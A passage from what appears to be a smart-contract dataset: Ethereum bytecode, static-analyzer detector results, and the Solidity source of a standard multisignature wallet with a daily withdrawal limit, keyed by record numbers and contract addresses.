0408120928355600183018490556005546002840155600854600390930192909255610ff090611161565b90508061100a57336000908152600c602052604090204290555b600454611017908461144a565b600455611023336110e1565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b600a543490611072908261144a565b600a556108438161153f565b60006001600160a01b0382166110c55760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60006110ec82611161565b90508061113f57600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0384161790555b5050565b6001546001600160a01b031681565b6002546001600160a01b031681565b6000805b600d548110156111ad57600d818154811061117c57fe5b6000918252602090912001546001600160a01b03848116911614156111a557600191505061091b565b600101611165565b50600092915050565b6000546001600160a01b031633146111cd57600080fd5b6001600160a01b0381166112125760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461127457600080fd5b6001600160a01b0381166112cf576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061133383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b90505b92915050565b60006001600160a01b0382166113835760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f909452918420546005549294936113d093610cf092610cea91906112f1565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f90925290912054600554939450919261141592610cea91906112f1565b8161141c57fe5b6001600160a01b03959095166000908152600e60205260409020600401805491909506019093555090919050565b600082820183811015611333576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826114b357506000611336565b828202828482816114c057fe5b04146113335760405162461bcd60e51b815260040180806020018281038252602181526020018061181a6021913960400191505060405180910390fd5b600061133383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b600061156260065461155c600754856114a490919063ffffffff16565b9061144a565b9050600061157b600454836114fd90919063ffffffff16565b90506115926004548361172690919063ffffffff16565b6006556005546115a2908261144a565b600555600854600019016000908152600f60205260409020546115c5908261144a565b600880546000908152600f602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600081848411156116b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167e578181015183820152602001611666565b50505050905090810190601f1680156116ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836117105760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b50600083858161171c57fe5b0495945050505050565b600061133383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836117b25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b508284816117bc57fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d415820414d4f554e5420524541434845442043414e4e4f54205354414b45204e4f204d4f5245a26469706673582212205ce25732d9e2000d4a55c59f7da6fcd3bf01d51d6bf3bb1577657649405058be64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,761
0x9bf347e249385e8acb916a07baf1b6c4aeb9df09
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
{"success": true, "error": null, "results": {}}
1,762
0x9752e4bba8b4e5a2ba1a93bd3ded961dfddc2e3e
